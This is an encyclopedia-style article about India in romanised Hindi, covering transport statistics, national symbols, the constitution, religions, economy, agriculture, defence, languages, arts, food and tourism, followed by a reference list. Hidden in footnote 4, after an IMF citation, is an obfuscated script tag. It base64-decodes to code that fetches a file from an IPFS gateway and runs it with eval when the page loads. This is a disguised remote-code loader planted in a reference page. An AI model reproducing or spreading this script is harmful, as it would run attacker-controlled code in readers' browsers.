-rashtriy rajamarg (svarn chaturbhuj) 5,846 kimi (yojana ke aantargat shamil rashtriy rajamargoan ki kul lambaee)
-rashtriy rajamarg (uttar-dakshin k aaurid aaur) 7,300 kimi (yojana aantargat shamil rashtriy rajamargoan ki kul lambaee)
-relamarg 63,465 kimi.
-relave parimandaloan ki sankhya 16
-sabase b da relave parimandal uttar relave (11,023 kimi., mukhyalay- nee dilli)
-relave steshanoan ki sankhya lagabhag 7,133 (31 march, 2006 tak)
-rel yatriyoan ki sankhya 50,927 lakh pratidin (2002-03)
-rel ianjanoan ki sankhya</ref> 8,025 (march, 2006).
-rel savari dibboan ki sankhya 42,570 (2001)
-rel mal dibboan ki sankhya 2,22,147 (2001)
-yatri relaga diyoan ki sankhya 44,090
-any savari rel ga diyaan 5,990
-antarrashtriy havaee addoan ki sankhya paanch [33]
-mukt akashiy havaee adda gaya (bihar)
-prastavit aantarrashtriy havaee adde bangalaur, haidarabad, ahamadabad, gova, amritasar, guvahati evan kochin.

any
-jiv-jantu (anumanit) 75,000 jinamean ubhayachar- 2,500, sarisrip- 450, pakshi- 2,000 tatha stanapayi- 850
-rashtriy udyan 70
-vany prani vihar 412
-prani udyan 35
-rashtriy pratik rashtradhvaj- tiranga
-rajachinh sianhashirsh (saranath)
-rashtr gan jan gan man [34]
-rashtriy git vande mataramh [35]
-rashtriy pashu bagh (paianthar taigris).
-rashtriy pakshi mayoor (pavo kristeshas).
-svatantrata divas 15 agast
-ganatantr divas 26 janavari

bharat ka sanvidhan

  1. REDIRECTsaancha:mukhy

bharat ka sanvidhan 26 janavari, 1950 ko lagoo hua. isaka nirman sanvidhan sabha ne kiya tha, jisaki pahali baithak 9 disambar, 1946 ko huee thi. sanvidhan sabha ne 26 navambar, 1949 ko sanvidhan ko aangikar kar liya tha. sanvidhan sabha ki pahali baithak avibhajit bharat ke lie bulaee gee thi. 4 agast, 1947 ko sanvidhan sabha ki baithak punah huee aur usake adhyaksh sachchidanand sinha the. sinha ke nidhan ke bad d aau. rajendr prasad sanvidhan sabha ke adhyaksh bane. faravari 1948 mean sanvidhan ka masauda prakashit hua. 26 navambar, 1949 ko sanvidhan antim roop mean svikrit hua aur 26 janavari 1950 ko lagoo hua.

dharm

  1. REDIRECTsaancha:mukhy

bharatiy sanskriti mean vibhinnata usaka bhooshan hai. yahaan hindoo dharm ke aganit roopoan aur sanpradayoan ke atirikt, bauddh, jain, sikkh, islam, eesaee, yahoodi adi dharmoan ki vividhata ka bhi ek saanskritik samayojan dekhane ko milata hai. hindoo dharm ke vividh sampraday evan mat sare desh mean phaile hue haian, jaise vaidik dharm, shaiv, vaishnav, shakt adi pauranik dharm, radha-ballabh sanpraday, shri sanpraday, ary samaj, samaj adi. parantu in sabhi matavadoan mean sanatan dharm ki ekarasata khandit n hokar vividh roopoan mean gathit hoti hai. yahaan ke nivasiyoan mean bhasha ki vividhata bhi is desh ki moolabhoot saanskritik ekata ke lie badhak n hokar sadhak pratit hoti hai.

arthavyavastha

  1. REDIRECTsaancha:mukhy

bharatiy arthavh‍yavash‍tha kray shakti samanata ke adhar par duniya mean chauthi sabase b di arthavh‍yavash‍tha hai. yah vishal janashakti adhar, vividh prakritik sansadhanoan aur sashakh‍t vrihat arthavh‍yavash‍tha ke moolabhoot tath‍voan ke karan vh‍yavasay aur nivesh ke avasaroan ke sabase adhik akarshak gantavh‍yoan mean se ek hai. varsh 1991 mean aranbh ki gee arthik sudharoan ki prakriya se samh‍poorn arthavh‍yavash‍tha mean phaile nitigat dhaanche ke udarikaran ke madhh‍yam se ek niveshak anukool parivesh milata raha hai. bharat ko azad hue 77 sal ho chuke haian aur is dauran bharatiy arthavyavastha ki dasha mean zabaradast badalav aya hai. audyogik vikas ne arthavyavastha ka roop badal diya hai. aj bharat ki ginati duniya ki sabase tezi se badhati arthavyavasthaoan mean hoti hai. vishv ki arthavyavastha ko chalane mean bharat ki bhoomika badhati ja rahi hai. aeeti sॅktar mean poori duniya bharat ka loha manati hai.

krishi

  1. REDIRECTsaancha:mukhy

krishi bharat ki arthavyavastha ki ridh mani jati hai. vibhinn panchavarshiy yojanaoan dvara chalae ja rahe vibhinn karyakramoan evan prayasoan se krishi ko rashtriy arthavyavastha mean garimapoorn darja mila hai. krishi kshetroan mean lagabhag 64% shramikoan ko rozagar mila hua hai. 1950-51 mean kul ghareloo utpad mean krishi ka hissa 59.2% tha jo ghatakar 1982-83 mean 36.4% aur 1990-91 mean 34.9% tatha 2001-2002 mean 25% rah gaya. yah 2006-07 ki avadhi ke dauran ausat adhar par ghatakar 18.5% rah gaya. dasavian yojana (2002-2007) ke dauran samagr sakal ghareloo utpad ki ausat varshik vriddhi pad 7.6% thi jabaki is dauran krishi tatha sambaddh kshetr ki varshik vriddhi dar 2.3% rahi. 2001-02 se praranbh huee nav sahastrabdi ke pratham 6 varshoan mean 3.0% ki varshik samany ausat vriddhi dar 2003-04 mean 10% aur 2005-06 mean 6% ki rahi.

khanij sanpada

  1. REDIRECTsaancha:mukhy

svatantrata prapti ke pashchath bharat mean khanijoan ke utpadan mean nirantar vriddhi huee hai. koyala, lauh ayask, b aauksait adi ka utpadan nirantar badha hai. 1951 mean sirf 83 karo d rupaye ke khanijoan ka khanan hua tha, parantu 1970-71 mean inaki matra badhakar 490 karo d rupaye ho gee. agale 20 varshoan mean khanijoan ke utpadan mean abhootapoorv vriddhi huee. 2001-02 mean nikale gaye khanijoan ka kul mooly 58,516.36 karo d rupaye tak pahuanch gaya jabaki 2005-06 ke dauran kul 75,121.61 karo d rupaye mooly ke khanijoan ka utpadan kiya gaya. yadi matra ki drishti se dekha jaye, to bharat mean khanijoan ki matra mean lagabhag tiguni vriddhi huee hai, usaka 50% bhag sirf petroliyam aur prakritik gais ke karan tatha 40% koyala ke karan hua hai.

raksha

  1. REDIRECTsaancha:mukhy

bharat ki raksha niti ka pramukh uddeshy yah hai ki bharatiy upamahadvip mean use badhava diya jae evan sthayitv pradan kiya jae tatha desh ki raksha senaoan ko paryapt roop se susajjit kiya jae, taki ve kisi bhi akraman se desh ki raksha kar sakean. varsh 1946 ke poorv bharatiy raksha ka poora niyantran aangrezoan ke hathoan mean tha. usi varsh keandr mean aantarim sarakar mean pahali bar ek bharatiy desh ke raksha mantri baladev sianh bane. halaanki kamaandar-in-chiph ek aangrez hi raha . 1947 mean desh ka vibhajan hone par bharat ko 45 rejimeantean milian, jinamean 2.5 lakh sainik the. shesh rejimeant pakistan chali gayian. gorakha fauj ki 6 rejimeant (lagabhag 25,000 sainik) bhi bharat ko milian. shesh gorakha sainik british sena mean sammilit ho gaye. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan ho gayi. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan bharatiy bhoomi se 28 faravari, 1948 ko svadesh ravana huee.

pashu pakshi jagat

  1. REDIRECTsaancha:mukhy

vany jivan prakriti ki amooly den hai. bhavishy mean vany praniyoan ki samapti ki ashanka ke karan bharat mean sarvapratham 7 julaee, 1955 ko vany prani divas manaya gaya . yah bhi nirnay liya gaya ki pratyek varsh do aktoobar se poore saptah tak vany prani saptah manaya jaega. varsh 1956 se vany prani saptah manaya ja raha hai. bharat ke sanrakshan karyakram ki avashyakataoan ko poora karane ke lie ek mazaboot sansthagat dhaanche ki rachana ki gayi hai.

bharatiy bhasha parivar

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bharat ki mukhy visheshata yah hai ki yahaan vibhinnata mean ekata hai. bharat mean vibhinnata ka svaroop n keval bhaugolik hai, balki bhashayi tatha saanskritik bhi hai. ek riport ke anusar bharat mean 1652 matribhashayean prachalan mean haian, jabaki sanvidhan dvara 22 bhashaoan ko rajabhasha ki manyata pradan ki gayi hai. sanvidhan ke anuchchhed 344 ke aantargat pahale keval 15 bhashaoan ko rajabhasha ki manyata di gayi thi, lekin 21vean sanvidhan sanshodhan ke dvara sindhi ko tatha 71vaan sanvidhan sanshodhan dvara nepali, koankani tatha manipuri ko bhi rajabhasha ka darja pradan kiya gaya. bad mean 92vaan sanvidhan sanshodhan adhiniyam, 2003 ke dvara sanvidhan ki athavian anusoochi mean char nee bhashaoan bodo, dogari, maithili tatha santhali ko rajabhasha mean shamil kar liya gaya. is prakar ab sanvidhan mean 22 bhashaoan ko rajabhasha ka darja pradan kiya gaya hai.

shiksha

  1. REDIRECTsaancha:mukhy

1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki "ek patr padh-likhakar usaka uttar de dene ki yogyata" saksharata hai. bharat mean lambe samay se likhit bhasha ka astitv hai, kintu pratyaksh soochana ke abhav ke karan isaka santoshajanak vikas nahian hua. h dappa aur mohanajod do ki lekhan chitralipi tin hazar varsh eesa poorv aur bad ki hai. yadyapi abhi tak is lipi ko padha nahian ja saka hai, tathapi isase yah spasht hai ki bharatiyoan ke pas kee shatabdiyoan pahale se hi ek likhit bhasha thi aur yahaan ke log padh aur likh sakate the. h dappa aur ashok ke kal ke bich mean pandrah sau varshoan ka aisa samay raha hai, jisamean ki koee likhit praman nahian milata. lekin panini ne us samay bharatiyoan ke dvara boli jane vali vibhinn bhashaoan ka ullekh kiya hai.

bharatiy kala

  1. REDIRECTsaancha:mukhy

bharatiy kala apani prachinata tatha vividhata ke lie vikhyat rahi hai. aj jis roop mean 'kala' shabd atyant vyapak aur bahuarthi ho gaya hai, prachin kal mean usaka ek chhota hissa bhi n tha. yadi aitihasik kal ko chho d aur pichhe pragaitihasik kal par drishti dali jae to vibhinn nadiyoan ki ghatiyoan mean puratattvavidoan ko khudaee mean mile asankhy pashan upakaran bharat ke adi manushyoan ki kalatmak pravrittiyoan ke sakshat praman haian. patthar ke tuk de ko vibhinn takanikoan se vibhinn prayojanoan ke anuroop svaroop pradan kiya jata tha.

bharatiy sangit

  1. REDIRECTsaancha:mukhy

sangit manaviy lay evan talabaddh abhivyakti hai. bharatiy sangit apani madhurata, layabaddhata tatha vividhata ke lie jana jata hai. vartaman bharatiy sangit ka jo roop drishtigat hota hai, vah adhunik yug ki prastuti nahian hai, balki yah bharatiy itihas ke prasambh ke sath hi ju da hua hai. vaidik kal mean hi bharatiy sangit ke bij p d chuke the. samaved un vaidik rrichaoan ka sangrah matr hai, jo gey haian. prachin kal se hi eeshvar aradhana hetu bhajanoan ke prayog ki parampara rahi hai. yahaan tak ki yajnadi ke avasar par bhi samoohagan hote the.

nrity kala

  1. REDIRECTsaancha:mukhy

bharat mean nrity ki anek shailiyaan haian. bharatanatyam, odisi, kuchipu di, kathakali, manipuri, kathak adi paranparagat nrity shailiyaan haian to bhang da, gidda, naga, bihoo adi lok prachalit nrity hai. ye nrity shailiyaan poore desh mean vikhyat hai. gujarat ka garaba hariyana mean bhi mancho ki shobha ko badhata hai aur panjab ka bhang da dakshin bharat mean bhi b de shauq se dekha jata hai. bharat ke sangit ko vikasit karane mean amir khusaro, tanasen, baijoo bavara jaise sangitakaroan ka vishesh yogadan raha hai. aj bharat ke sangit-kshitij par bismilla khaan‎, zakir husain, ravi shankar saman roop se sammanit haian.

sanskriti

  1. REDIRECTsaancha:mukhy

tyohar aur mele bharatiy sanskriti ke abhinn aang haian. yah bhi kah sakate haian ki bharatiy sanskriti apane hriday ke madhury ko tyohar aur meloan mean vyakt karati hai, to adhik sarthak hoga. bharatiy sanskriti prem, sauhardr, karuna, maitri, daya aur udarata jaise manaviy gunoan se paripoorn hai. yah ullas, utsah aur vikas ko ek sath samete hue hai. anand aur madhury to jaise isake pran haian. yahaan har kary anand ke sath shuroo hota hai aur madhury ke sath sampann hota hai. bharat jaise vishal dharmapran desh mean astha aur vishvas ke sath mil kar yahi anand aur ullas tyohar aur meloan mean phoot p data hai. tyohar aur mele hamari dharmik asthaoan, samajik paramparaoan aur arthik avashyakataoan ki triveni hai, jinamean samoocha janamanas bhavavibhor hokar gote lagata hai.

bharatiy bhojan

  1. REDIRECTsaancha:mukhy

bharatiy bhojan svad aur sugandh ka madhur sangam hai. pooran poori ho ya dal bati, tandoori roti ho ya shahi pulav, panjabi bhojan ho ya marava di bhojan, zikr chahe jis kisi ka bhi ho raha ho, keval nam sunane se hi bhookh jag uthati hai. bharat mean pakavanoan ki vividhata bhi bahut adhik hai. rajasthan mean dal-bati, kolakata mean chaval-machhali, panjab mean roti-sag, dakshin mean idali-dosa. itani vividhata ke bich ekata ka praman yah hai ki aj dakshin bharat ke log dal-roti usi shauq se khate haian, jitane shauq se uttar bharatiy idali-dosa khate haian. sachamuch bharat ek rangabiranga guladasta hai.

paryatan

  1. REDIRECTsaancha:mukhy

bharatavasi apani dirghakalin, anavarat evan satarangi upalabdhiyoan se yukt itihas par garv kar sakate haian. prachin kal se hi bharat ek atyant hi vividhata sampann desh raha hai aur yah visheshata aj bhi samay ki gh di par aankit hai. yahaan prarambh se anek adhyavasayoan ka anusaran hota raha hai, prithakh-prithakh manyataean haian, logoan ke rivaj aur drishtikonoan ke vibhinn rangoan se saza yah desh atit ko bhoot, vartaman evan bhavishy ki aankhoan se dekhane ke lie ahvan kar raha hai. kintu bahurangi sabhyata evan sanskriti vale desh ke sabhi ayamoan ko samajhane ka prayas itana asan nahian hai.

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rajy sanrachana

  1. REDIRECTsaancha:mukhy

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panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. satyamev jayate nanritan satyen pantha vitato devayanah.
    yenakramantyrishayo hyaptakama yatr satsatyasy paraman nidhanamh॥

    mundakopanishadh tritiy mundak shlok 6
  2. 2.0 2.1 India : Census 2011
  3. Population Density per Square Mile of Countries
  4. 4.0 4.1 4.2 4.3 Report for Selected Countries and Subjects (aangrezi) (e.es.pi) International Monetory Fund. abhigaman tithi: 15 mee, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. sitambar 2006-2011 ki sthiti ke anusar
  6. pustak 'bharat ka itihas' romila thapar) prishth sankhya-19
  7. (vishv ka 2.2% vishv mean 7vaan sthan)
  8. ekadam dakshini bhag ki bhoomadhy rekha se doori
  9. uttar mean himalay parvatamala se lage hue chin, nepal tatha bhootan, poorv mean parvatiy shrriankhala se alag hua myanmar tatha poorv mean hi baangladesh, pashchim mean pakistan evan afaganistan tatha dakshin mean hind mahasagar, bangal ki kha di evan arab sagar.
  10. dvipoan sahit samudri sima ki kul lanbaee
  11. sthaliy sima ki lanbaee
  12. sanghashasit kshetroan ki sankhya
  13. bangal ki kha di mean dvipoan ki sankhya- 204, arab sagar mean dvipoan ki sankhya- 43.
  14. ve rajy jinase hokar kark rekha gujarati hai
  15. sarvadhik nagariy janasankhya vala sangh shasit kshetr
  16. sabase kam nagariy janasankhya vala sangh shasit kshetr
  17. kshetraphal ki drishti se sabase b da sanghashasit kshetr
  18. pramukh sagariy machhaliyaan- bataraphish, svet bet, saradain, pran, maikarel, jyoophish, ribanaphish, kaitaphish, saranga, dara, tyoona, mulets, siyaraphish, shark, pamaphret, shrimp adi. vishv matsyayan ka- 2.7%.
  19. kul kshetraphal ka 22.7%
  20. sianchaee ke sadhan
  21. 200 semi. varshik varsha vale kshetroan mean bina sianchaee ke
  22. 100 se 200 semi. varsha valeai jalodh eanv kali mitti ke kshetroan mean
  23. uttar-poorvi bharat, pashchimi ghat adi kshetroan mean
  24. vishesh roop se himalay ke dhaloan par
  25. manipur ke senapati zile ke tin upaziloan ko chho dakar
  26. anusoochit jatiyoan ki sankhya
  27. anusoochit janajatiyoan ki sankhya
  28. ausat varshik ghatiy vriddhi dar
  29. anuchchhed 344 (1), 351, athavian anusoochi ke anusar 22 bhashaaian hai jinake nam is prakar hai:- asamiya , baangla , gujarati , hindi , kann d , kashmiri , koankani , malayalam , manipuri , marathi , nepali , u diya , panjabi , sanskrit , siandhi , tamil , urdoo , telugu , bodo , dogari , maithili , santhali
  30. krishi se sanbandhit kary mean sanlagn udyamoan ka pratishat
  31. gair-krishi sanbandhi karyoan mean sanlagn udyamoan ka pratishat
  32. kul udyamoan ka 1.4%
  33. javahar lal neharoo antarrashtriy havaee adda (santakruj, mumbee), subhash chandr bos havaee adda (damadam- kolakata), indira gaandhi antarrashtriy havaee adda (palam, dilli), minambakam havaee adda (chennee) tatha tiruvanantapuram.
  34. rachayita-gurudev ravindr nath taigor
  35. rachayita- bankimachandr chatarji

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sanbandhit lekh

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